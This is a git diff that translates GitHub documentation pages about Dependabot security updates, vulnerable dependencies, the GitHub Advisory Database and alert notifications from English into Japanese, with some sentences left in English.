+{% data variables.product.prodname_dependabot_security_updates %} 機能は、依存関係グラフと {% data variables.product.prodname_dependabot_alerts %} を有効にしているリポジトリで使用できます。 完全な依存関係グラフで識別されたすべての脆弱性のある依存関係について、{% data variables.product.prodname_dependabot %} アラートが表示されます。 ただし、セキュリティアップデートプログラムは、マニフェストファイルまたはロックファイルで指定されている依存関係に対してのみトリガーされます。 {% data variables.product.prodname_dependabot %} は、明示的に定義されていない間接的または推移的な依存関係を更新できません。 詳しい情報については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)」を参照してください。
 
 {% endnote %}
 
-You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+関連する機能 {% data variables.product.prodname_dependabot_version_updates %} を有効にして、{% data variables.product.prodname_dependabot %} が古い依存関係を検出するたびに、マニフェストを最新バージョンの依存関係に更新するプルリクエストを生成させることができます。 詳しい情報については、「[{% data variables.product.prodname_dependabot %} バージョン更新について](/github/administering-a-repository/about-dependabot-version-updates)」を参照してください。
 
 {% data reusables.dependabot.pull-request-security-vs-version-updates %}
 
-## About pull requests for security updates
+## セキュリティアップデートのプルリクエストについて
 
-Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository.
+各プルリクエストには、提案された修正を迅速かつ安全に確認してプロジェクトにマージするために必要なすべてのものが含まれています。 これには、リリースノート、変更ログエントリ、コミットの詳細などの脆弱性に関する情報が含まれます。 プルリクエストが解決する脆弱性の詳細は、リポジトリの {% data variables.product.prodname_dependabot_alerts %} にアクセスできないユーザには表示されません。
 
-When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)."
+セキュリティアップデートを含むプルリクエストをマージすると、対応する {% data variables.product.prodname_dependabot %} アラートがリポジトリに対して解決済みとしてマークされます。 {% data variables.product.prodname_dependabot %} プルリクエストの詳細については、「[依存関係の更新に関するプルリクエストを管理する](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)」を参照してください。
 
 {% data reusables.dependabot.automated-tests-note %}
 
 {% ifversion fpt or ghec %}
 
-## About compatibility scores
+## 互換性スコアについて
 
-{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency.
+{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. これらは、同じセキュリティアップデートプログラムが生成された他のパブリックリポジトリでの CI テストから計算されます。 更新の互換性スコアは、依存関係の特定のバージョンの更新前後で、実行した CI がパスした割合です。
 
 {% endif %}
 
-## About notifications for {% data variables.product.prodname_dependabot %} security updates
+## {% data variables.product.prodname_dependabot %} セキュリティアップデートの通知について
 
-You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
+{% data variables.product.company_short %} で通知をフィルタして、{% data variables.product.prodname_dependabot %} セキュリティアップデートを表示できます。 詳しい情報については「[インボックスからの通知の管理](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)」を参照してください。
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md
index ee0c826d03..23eab349d8 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-managing-vulnerable-dependencies.md
@@ -1,6 +1,6 @@
 ---
-title: About managing vulnerable dependencies
-intro: '{% data variables.product.product_name %} helps you to avoid using third-party software that contains known vulnerabilities.'
+title: 脆弱性のある依存関係の管理について
+intro: '{% data variables.product.product_name %} は、既知の脆弱性を含むサードパーティソフトウェアの使用を回避するのに役立ちます。'
 redirect_from:
   - /github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies
   - /code-security/supply-chain-security/about-managing-vulnerable-dependencies
@@ -18,29 +18,29 @@ topics:
   - Repositories
   - Dependencies
   - Pull requests
-shortTitle: Vulnerable dependencies
+shortTitle: 脆弱性のある依存関係
 ---
+
 <!--Marketing-LINK: From /features/security/software-supply-chain page "Managing vulnerabilities in your project’s dependencies ".-->
 
-{% data variables.product.product_name %} provides the following tools for removing and avoiding vulnerable dependencies.
+{% data variables.product.product_name %} は、脆弱性のある依存関係を削除および回避するための次のツールを提供しています。
 
-## Dependency graph
-The dependency graph is a summary of the manifest and lock files stored in a repository. It shows you the ecosystems and packages your codebase depends on (its dependencies) and the repositories and packages that depend on your project (its dependents). The information in the dependency graph is used by dependency review and {% data variables.product.prodname_dependabot %}.
-For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+## 依存関係グラフ
+依存関係グラフは、リポジトリに保存されているマニフェストファイルおよびロックファイルのサマリーです。 コードベースが依存するエコシステムとパッケージ（依存関係）、およびプロジェクトに依存するリポジトリとパッケージ（依存関係）が表示されます。 依存関係グラフの情報は、依存関係のレビューと {% data variables.product.prodname_dependabot %} によって使用されます。 詳しい情報については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)」を参照してください。
 
-## Dependency review
+## 依存関係のレビュー
 
 {% data reusables.dependency-review.beta %}
 
-By checking the dependency reviews on pull requests you can avoid introducing vulnerabilities from dependencies into your codebase. If the pull requests adds a vulnerable dependency, or changes a dependency to a vulnerable version, this is highlighted in the dependency review. You can change the dependency to a patched version before merging the pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+プルリクエストの依存関係のレビューを確認することで、依存関係からコードベースに脆弱性が発生するのを防ぐことができます。 プルリクエストが脆弱性のある依存関係を追加したり、依存関係を脆弱性のあるバージョンに変更した場合、これは依存関係のレビューで強調表示されます。 プルリクエストをマージする前に、依存関係をパッチを適用したバージョンに変更できます。 詳しい情報については「[依存関係のレビュー](/code-security/supply-chain-security/about-dependency-review)」を参照してください。
 
 ## {% data variables.product.prodname_dependabot_alerts %}
-{% data variables.product.product_name %} can create {% data variables.product.prodname_dependabot_alerts %} when it detects vulnerable dependencies in your repository. The alert is displayed on the Security tab for the repository. The alert includes a link to the affected file in the project, and information about a fixed version. {% data variables.product.product_name %} also notifies the maintainers of the repository, according to their notification preferences. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+リポジトリ内の脆弱性のある依存関係を検出すると、{% data variables.product.product_name %} は {% data variables.product.prodname_dependabot_alerts %} を作成できます。 アラートは、リポジトリの [Security] タブに表示されます。 アラートには、プロジェクト内で影響を受けるファイルへのリンクと、修正バージョンに関する情報が含まれています。 {% data variables.product.product_name %} は、通知設定に従って、リポジトリのメンテナにも通知します。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
 ## {% data variables.product.prodname_dependabot_security_updates %}
-When {% data variables.product.product_name %} generates a {% data variables.product.prodname_dependabot %} alert for a vulnerable dependency in your repository, {% data variables.product.prodname_dependabot %} can automatically try to fix it for you. {% data variables.product.prodname_dependabot_security_updates %} are automatically generated pull requests that update a vulnerable dependency to a fixed version. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+{% data variables.product.product_name %} がリポジトリ内の脆弱性のある依存関係に対して {% data variables.product.prodname_dependabot %} アラートが発生すると、{% data variables.product.prodname_dependabot %} は自動的にそれを修正しようとします。 {% data variables.product.prodname_dependabot_security_updates %} は、脆弱性のある依存関係を修正バージョンに更新するプルリクエストを自動的に生成します。 詳しい情報については、「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」を参照してください。
 
 ## {% data variables.product.prodname_dependabot_version_updates %}
-Enabling {% data variables.product.prodname_dependabot_version_updates %} takes the effort out of maintaining your dependencies. With {% data variables.product.prodname_dependabot_version_updates %}, whenever {% data variables.product.prodname_dotcom  %} identifies an outdated dependency, it raises a pull request to update the manifest to the latest version of the dependency. By contrast, {% data variables.product.prodname_dependabot_security_updates %} only raises pull requests to fix vulnerable dependencies. For more information, see "[About Dependabot version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+{% data variables.product.prodname_dependabot_version_updates %} を有効にすると、依存関係を維持する手間が省けます。 {% data variables.product.prodname_dependabot_version_updates %} を使用すると、{% data variables.product.prodname_dotcom  %} が古い依存関係を識別するたびに、マニフェストを最新バージョンの依存関係に更新するためのプルリクエストを発行します。 対照的に、{% data variables.product.prodname_dependabot_security_updates %} は脆弱性のある依存関係を修正するためにプルリクエストのみを発行します。 詳しい情報については、「[ Dependabot のバージョン更新について](/github/administering-a-repository/about-dependabot-version-updates)」を参照してください。
 {% endif %}
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
index 34a478356c..accb6ce698 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
@@ -1,7 +1,7 @@
 ---
-title: Browsing security vulnerabilities in the GitHub Advisory Database
-intro: 'The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects  on {% data variables.product.company_short %}.'
-shortTitle: Browse Advisory Database
+title: GitHub Advisory Database のセキュリティ脆弱性を参照する
+intro: '{% data variables.product.prodname_advisory_database %} を使用すると、{% data variables.product.company_short %} のオープンソースプロジェクトに影響を与える脆弱性を参照または検索できます。'
+shortTitle: Advisory Databaseの参照
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database
@@ -17,13 +17,14 @@ topics:
   - Vulnerabilities
   - CVEs
 ---
+
 <!--Marketing-LINK: From /features/security/software-supply-chain page "Browsing security vulnerabilities in the GitHub Advisory Database".-->
 
-## About security vulnerabilities
+## セキュリティの脆弱性について
 
 {% data reusables.repositories.a-vulnerability-is %}
 
-## About the {% data variables.product.prodname_advisory_database %}
+## {% data variables.product.prodname_advisory_database %} について
 
 The {% data variables.product.prodname_advisory_database %} contains a list of known security vulnerabilities, grouped in two categories: {% data variables.product.company_short %}-reviewed advisories and unreviewed advisories.
 
@@ -35,85 +36,82 @@ The {% data variables.product.prodname_advisory_database %} contains a list of k
 
 We carefully review each advisory for validity. Each {% data variables.product.company_short %}-reviewed advisory has a full description, and contains both ecosystem and package information.
 
-If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory affects packages you depend on. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory affects packages you depend on. 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。
 
 ### About unreviewed advisories
 
-Unreviewed advisories are security vulnerabilites that we publish automatically into the {% data variables.product.prodname_advisory_database %}, directly from the National Vulnerability Database feed. 
+Unreviewed advisories are security vulnerabilites that we publish automatically into the {% data variables.product.prodname_advisory_database %}, directly from the National Vulnerability Database feed.
 
 {% data variables.product.prodname_dependabot %} doesn't create {% data variables.product.prodname_dependabot_alerts %} for unreviewed advisories as this type of advisory isn't checked for validity or completion.
 
 ## About security advisories
 
-Each security advisory contains information about the vulnerability, which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology.
+Each security advisory contains information about the vulnerability, which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. さらに、National Vulnerability Database リストのアドバイザリには、CVE レコードへのリンクが含まれており、脆弱性、その CVSS スコア、その定性的な重要度レベルの詳細を確認できます。 詳しい情報については、アメリカ国立標準技術研究所の「[National Vulnerability Database](https://nvd.nist.gov/)"」を参照してください。
 
-The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)."
+重大度レベルは「[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)」で定義されている 4 つのレベルのいずれかです。
 - Low
 - Medium/Moderate
 - High
 - Critical
 
-The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1.
+{% data variables.product.prodname_advisory_database %} は、上記の CVSS レベルを使用します。 {% data variables.product.company_short %} が CVE を取得した場合、{% data variables.product.prodname_advisory_database %} は CVSS バージョン 3.1 を使用します。 CVE がインポートされた場合、{% data variables.product.prodname_advisory_database %} は CVSS バージョン 3.0 と 3.1 の両方をサポートします。
 
 {% data reusables.repositories.github-security-lab %}
 
-## Accessing an advisory in the {% data variables.product.prodname_advisory_database %}
+## {% data variables.product.prodname_advisory_database %} のアドバイザリにアクセスする
 
-1. Navigate to https://github.com/advisories.
-2. Optionally, to filter the list, use any of the drop-down menus.
-  ![Dropdown filters](/assets/images/help/security/advisory-database-dropdown-filters.png)
+1. Https://github.com/advisories にアクセスします。
+2. 必要に応じて、リストをフィルタするには、ドロップダウンメニューを使用します。 ![ドロップダウンフィルタ](/assets/images/help/security/advisory-database-dropdown-filters.png)
    {% tip %}
 
    **Tip:** You can use the sidebar on the left to explore  {% data variables.product.company_short %}-reviewed and unreviewed advisories separately.
 
    {% endtip %}
-3. Click on any advisory to view details.
+3. アドバイザリをクリックして詳細を表示します。
 
 {% note %}
 
-The database is also accessible using the GraphQL API. For more information, see the "[`security_advisory` webhook event](/webhooks/event-payloads/#security_advisory)."
+データベースは、GraphQL API を使用してアクセスすることもできます。 詳しい情報については、「[`security_advisory` webhook イベント](/webhooks/event-payloads/#security_advisory)」を参照してください。
 
 {% endnote %}
 
-## Searching the {% data variables.product.prodname_advisory_database %}
+## {% data variables.product.prodname_advisory_database %} を検索する
 
-You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library.
+データベースを検索し、修飾子を使用して検索を絞り込むことができます。 たとえば、特定の日付、特定のエコシステム、または特定のライブラリで作成されたアドバイザリを検索できます。
 
 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example |
-| ------------- | ------------- |
-| `type:reviewed`| [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) will show {% data variables.product.company_short %}-reviewed advisories. |
-| `type:unreviewed`| [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) will show unreviewed advisories. |
-| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. |
-| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. |
-| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting NPM packages. |
-| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. |
-| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. |
-| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. |
-| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. |
-| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. |
-| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. |
-| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. |
-| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. |
-| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. |
-| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. |
-| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. |
+| 修飾子                   | サンプル                                                                                                                                                                |
+| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type:reviewed`       | [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) will show {% data variables.product.company_short %}-reviewed advisories.                  |
+| `type:unreviewed`     | [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) will show unreviewed advisories.                                                       |
+| `GHSA-ID`             | [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) は、この {% data variables.product.prodname_advisory_database %} ID でアドバイザリを表示します。 |
+| `CVE-ID`              | [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) は、この CVEID 番号でアドバイザリを表示します。                                                                |
+| `ecosystem:ECOSYSTEM` | [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) は、NPM パッケージに影響するアドバイザリのみを表示します。                                             |
+| `severity:LEVEL`      | [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) は、重大度レベルが高いアドバイザリのみを表示します。                                                  |
+| `affects:LIBRARY`     | [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) は、lodash ライブラリに影響するアドバイザリのみを表示します。                                        |
+| `cwe:ID`              | [**cwe:352**](https://github.com/advisories?query=cwe%3A352) は、この CWE 番号のアドバイザリのみを表示します。                                                                            |
+| `credit:USERNAME`     | [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) は、「octocat」ユーザアカウントにクレジットされたアドバイザリのみを表示します。                                              |
+| `sort:created-asc`    | [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) は、一番古いアドバイザリを最初にソートします。                                               |
+| `sort:created-desc`   | [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) は、一番新しいアドバイザリを最初にソートします。                                            |
+| `sort:updated-asc`    | [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) は、最近で最も更新されていないものを最初にソートします。                                          |
+| `sort:updated-desc`   | [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) は、最も直近で更新されたものを最初にソートします。                                           |
+| `is:withdrawn`        | [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) は、撤回されたアドバイザリのみを表示します。                                                        |
+| `created:YYYY-MM-DD`  | [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) は、この日に作成されたアドバイザリのみを表示します。                                        |
+| `updated:YYYY-MM-DD`  | [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) は、この日に更新されたアドバイザリのみを表示します。                                        |
 
-## Viewing your vulnerable repositories
+## 脆弱性のあるリポジトリを表示する
 
-For any {% data variables.product.company_short %}-reviewed advisory in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories are affected by that security vulnerability. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)."
+For any {% data variables.product.company_short %}-reviewed advisory in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories are affected by that security vulnerability. 脆弱性のあるリポジトリを確認するには、そのリポジトリの {% data variables.product.prodname_dependabot_alerts %} にアクセスできる必要があります。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)」を参照してください。
 
-1. Navigate to https://github.com/advisories.
-2. Click an advisory.
-3. At the top of the advisory page, click **Dependabot alerts**.
-   ![Dependabot alerts](/assets/images/help/security/advisory-database-dependabot-alerts.png)
-4. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user).
-   ![Search bar and drop-down menus to filter alerts](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
-5. For more details about the vulnerability, and for advice on how to fix the vulnerable repository, click the repository name.
+1. Https://github.com/advisories にアクセスします。
+2. アドバイザリをクリックします。
+3. アドバイザリページの上部にある [**Dependabot alerts**] をクリックします。 ![Dependabotアラート](/assets/images/help/security/advisory-database-dependabot-alerts.png)
+4. 必要に応じて、リストをフィルタするには、検索バーまたはドロップダウンメニューを使用します。 [Organization] ドロップダウンメニューを使用すると、オーナー（Organization またはユーザ）ごとに {% data variables.product.prodname_dependabot_alerts %} をフィルタできます。 ![アラートをフィルタするための検索バーとドロップダウンメニュー](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
+5. 脆弱性の詳細、および脆弱性のあるリポジトリを修正する方法に関するアドバイスについては、リポジトリ名をクリックしてください。
 
-## Further reading
+## 参考リンク
 
-- MITRE's [definition of "vulnerability"](https://cve.mitre.org/about/terminology.html#vulnerability)
+- MITREの[「脆弱性」の定義](https://cve.mitre.org/about/terminology.html#vulnerability)
diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
index f0d3791232..615b883990 100644
--- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
+++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring notifications for vulnerable dependencies
-shortTitle: Configuring notifications
+title: 脆弱性のある依存関係の通知を設定する
+shortTitle: 通知を設定する
 intro: 'Optimize how you receive notifications about  {% data variables.product.prodname_dependabot_alerts %}.'
 redirect_from:
   - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies
@@ -19,14 +19,15 @@ topics:
   - Dependencies
   - Repositories
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/managing-security-vulnerabilities-->
 
-## About notifications for vulnerable dependencies
+## 脆弱性のある依存関係の通知について
 
-When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability.
-{% endif %} 
+{% data variables.product.prodname_dependabot %}がリポジトリ中に脆弱性のある依存関係を検出すると、{% data variables.product.prodname_dependabot %}アラートが生成され、そのリポジトリのセキュリティタブに表示されます。 {% data variables.product.product_name %}は、影響を受けるリポジトリのメンテナに、リポジトリの通知設定に従って新しいアラートに関する通知を行います。{% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %}は、すべてのパブリックリポジトリでデフォルトで有効化されています。 {% data variables.product.prodname_dependabot_alerts %} の場合、デフォルト設定では、特定の脆弱性ごとにグループ化された {% data variables.product.prodname_dependabot_alerts %} をメールで受信します。
+{% endif %}
 
-{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)."
+{% ifversion fpt or ghec %}Organization のオーナーの場合は、ワンクリックで Organization 内のすべてのリポジトリの {% data variables.product.prodname_dependabot_alerts %} を有効または無効にできます。 新しく作成されたリポジトリに対して、脆弱性のある依存関係の検出を有効にするか無効にするかを設定することもできます。 詳しい情報については、「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)」を参照してください。
 {% endif %}
 
 {% ifversion ghes or ghae-issue-4864 %}
@@ -35,32 +36,32 @@ By default, if your enterprise owner has configured email for notifications on y
 Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
 {% endif %}
 
-## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}
+## {% data variables.product.prodname_dependabot_alerts %}の通知設定
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
-When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)」を参照してください。
 {% endif %}
 
-You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+各ページの上部に表示される [Manage notifications] ドロップダウン {% octicon "bell" aria-label="The notifications bell" %} から、自分または Organization の通知設定を構成できます。 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)」を参照してください。
 
 {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %}
 {% data reusables.notifications.vulnerable-dependency-notification-options %}
 
-  ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
+  ![{% data variables.product.prodname_dependabot_alerts %} オプション](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
 
 {% note %}
 
-**Note:** You can filter your notifications on {% data variables.product.company_short %} to show  {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
